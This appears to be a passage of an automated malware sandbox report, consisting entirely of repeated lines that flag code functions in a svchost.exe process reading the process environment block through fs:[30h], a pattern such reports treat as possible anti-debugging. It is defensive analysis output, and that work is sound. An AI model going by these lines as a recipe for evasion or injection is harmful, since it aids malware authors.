                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365438F mov eax, dword ptr fs:[00000030h]2_2_0365438F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03628397 mov eax, dword ptr fs:[00000030h]2_2_03628397
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634260 mov eax, dword ptr fs:[00000030h]2_2_03634260
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362826B mov eax, dword ptr fs:[00000030h]2_2_0362826B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036E0274 mov eax, dword ptr fs:[00000030h]2_2_036E0274
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov eax, dword ptr fs:[00000030h]2_2_036B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B8243 mov ecx, dword ptr fs:[00000030h]2_2_036B8243
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A250 mov eax, dword ptr fs:[00000030h]2_2_0362A250
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636259 mov eax, dword ptr fs:[00000030h]2_2_03636259
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362823B mov eax, dword ptr fs:[00000030h]2_2_0362823B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402E1 mov eax, dword ptr fs:[00000030h]2_2_036402E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363A2C3 mov eax, dword ptr fs:[00000030h]2_2_0363A2C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]2_2_036402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036402A0 mov eax, dword ptr fs:[00000030h]2_2_036402A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov ecx, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C62A0 mov eax, dword ptr fs:[00000030h]2_2_036C62A0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E284 mov eax, dword ptr fs:[00000030h]2_2_0366E284
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B0283 mov eax, dword ptr fs:[00000030h]2_2_036B0283
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov ecx, dword ptr fs:[00000030h]2_2_036C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C4144 mov eax, dword ptr fs:[00000030h]2_2_036C4144
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C156 mov eax, dword ptr fs:[00000030h]2_2_0362C156
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C8158 mov eax, dword ptr fs:[00000030h]2_2_036C8158
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03636154 mov eax, dword ptr fs:[00000030h]2_2_03636154
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660124 mov eax, dword ptr fs:[00000030h]2_2_03660124
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov ecx, dword ptr fs:[00000030h]2_2_036DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036DA118 mov eax, dword ptr fs:[00000030h]2_2_036DA118
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F0115 mov eax, dword ptr fs:[00000030h]2_2_036F0115
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037061E5 mov eax, dword ptr fs:[00000030h]2_2_037061E5
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036601F8 mov eax, dword ptr fs:[00000030h]2_2_036601F8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F61C3 mov eax, dword ptr fs:[00000030h]2_2_036F61C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov ecx, dword ptr fs:[00000030h]2_2_036AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE1D0 mov eax, dword ptr fs:[00000030h]2_2_036AE1D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03670185 mov eax, dword ptr fs:[00000030h]2_2_03670185
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036EC188 mov eax, dword ptr fs:[00000030h]2_2_036EC188
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B019F mov eax, dword ptr fs:[00000030h]2_2_036B019F
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A197 mov eax, dword ptr fs:[00000030h]2_2_0362A197
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365C073 mov eax, dword ptr fs:[00000030h]2_2_0365C073
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632050 mov eax, dword ptr fs:[00000030h]2_2_03632050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B6050 mov eax, dword ptr fs:[00000030h]2_2_036B6050
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A020 mov eax, dword ptr fs:[00000030h]2_2_0362A020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C020 mov eax, dword ptr fs:[00000030h]2_2_0362C020
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6030 mov eax, dword ptr fs:[00000030h]2_2_036C6030
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4000 mov ecx, dword ptr fs:[00000030h]2_2_036B4000
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E016 mov eax, dword ptr fs:[00000030h]2_2_0364E016
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0362A0E3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036380E9 mov eax, dword ptr fs:[00000030h]2_2_036380E9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B60E0 mov eax, dword ptr fs:[00000030h]2_2_036B60E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0362C0F0 mov eax, dword ptr fs:[00000030h]2_2_0362C0F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036720F0 mov ecx, dword ptr fs:[00000030h]2_2_036720F0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B20DE mov eax, dword ptr fs:[00000030h]2_2_036B20DE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C80A8 mov eax, dword ptr fs:[00000030h]2_2_036C80A8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov eax, dword ptr fs:[00000030h]2_2_036F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F60B8 mov ecx, dword ptr fs:[00000030h]2_2_036F60B8
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363208A mov eax, dword ptr fs:[00000030h]2_2_0363208A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638770 mov eax, dword ptr fs:[00000030h]2_2_03638770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640770 mov eax, dword ptr fs:[00000030h]2_2_03640770
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov esi, dword ptr fs:[00000030h]2_2_0366674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366674D mov eax, dword ptr fs:[00000030h]2_2_0366674D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630750 mov eax, dword ptr fs:[00000030h]2_2_03630750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE75D mov eax, dword ptr fs:[00000030h]2_2_036BE75D
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672750 mov eax, dword ptr fs:[00000030h]2_2_03672750
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B4755 mov eax, dword ptr fs:[00000030h]2_2_036B4755
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C720 mov eax, dword ptr fs:[00000030h]2_2_0366C720
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov ecx, dword ptr fs:[00000030h]2_2_0366273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366273C mov eax, dword ptr fs:[00000030h]2_2_0366273C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AC730 mov eax, dword ptr fs:[00000030h]2_2_036AC730
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C700 mov eax, dword ptr fs:[00000030h]2_2_0366C700
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03630710 mov eax, dword ptr fs:[00000030h]2_2_03630710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03660710 mov eax, dword ptr fs:[00000030h]2_2_03660710
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036527ED mov eax, dword ptr fs:[00000030h]2_2_036527ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BE7E1 mov eax, dword ptr fs:[00000030h]2_2_036BE7E1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036347FB mov eax, dword ptr fs:[00000030h]2_2_036347FB
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363C7C0 mov eax, dword ptr fs:[00000030h]2_2_0363C7C0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B07C3 mov eax, dword ptr fs:[00000030h]2_2_036B07C3
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036307AF mov eax, dword ptr fs:[00000030h]2_2_036307AF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036F866E mov eax, dword ptr fs:[00000030h]2_2_036F866E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A660 mov eax, dword ptr fs:[00000030h]2_2_0366A660
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03662674 mov eax, dword ptr fs:[00000030h]2_2_03662674
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364C640 mov eax, dword ptr fs:[00000030h]2_2_0364C640
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364E627 mov eax, dword ptr fs:[00000030h]2_2_0364E627
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03666620 mov eax, dword ptr fs:[00000030h]2_2_03666620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03668620 mov eax, dword ptr fs:[00000030h]2_2_03668620
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0363262C mov eax, dword ptr fs:[00000030h]2_2_0363262C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE609 mov eax, dword ptr fs:[00000030h]2_2_036AE609
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0364260B mov eax, dword ptr fs:[00000030h]2_2_0364260B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03672619 mov eax, dword ptr fs:[00000030h]2_2_03672619
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036AE6F2 mov eax, dword ptr fs:[00000030h]2_2_036AE6F2
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B06F1 mov eax, dword ptr fs:[00000030h]2_2_036B06F1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov ebx, dword ptr fs:[00000030h]2_2_0366A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A6C7 mov eax, dword ptr fs:[00000030h]2_2_0366A6C7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C6A6 mov eax, dword ptr fs:[00000030h]2_2_0366C6A6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036666B0 mov eax, dword ptr fs:[00000030h]2_2_036666B0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03634690 mov eax, dword ptr fs:[00000030h]2_2_03634690
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366656A mov eax, dword ptr fs:[00000030h]2_2_0366656A
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03638550 mov eax, dword ptr fs:[00000030h]2_2_03638550
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03640535 mov eax, dword ptr fs:[00000030h]2_2_03640535
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E53E mov eax, dword ptr fs:[00000030h]2_2_0365E53E
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036C6500 mov eax, dword ptr fs:[00000030h]2_2_036C6500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03704500 mov eax, dword ptr fs:[00000030h]2_2_03704500
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365E5E7 mov eax, dword ptr fs:[00000030h]2_2_0365E5E7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036325E0 mov eax, dword ptr fs:[00000030h]2_2_036325E0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366C5ED mov eax, dword ptr fs:[00000030h]2_2_0366C5ED
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E5CF mov eax, dword ptr fs:[00000030h]2_2_0366E5CF
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036365D0 mov eax, dword ptr fs:[00000030h]2_2_036365D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366A5D0 mov eax, dword ptr fs:[00000030h]2_2_0366A5D0
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036B05A7 mov eax, dword ptr fs:[00000030h]2_2_036B05A7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036545B1 mov eax, dword ptr fs:[00000030h]2_2_036545B1
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov eax, dword ptr fs:[00000030h]2_2_03632582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03632582 mov ecx, dword ptr fs:[00000030h]2_2_03632582
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03664588 mov eax, dword ptr fs:[00000030h]2_2_03664588
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E59C mov eax, dword ptr fs:[00000030h]2_2_0366E59C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_036BC460 mov ecx, dword ptr fs:[00000030h]2_2_036BC460
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0365A470 mov eax, dword ptr fs:[00000030h]2_2_0365A470
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0366E443 mov eax, dword ptr fs:[00000030h]2_2_0366E443
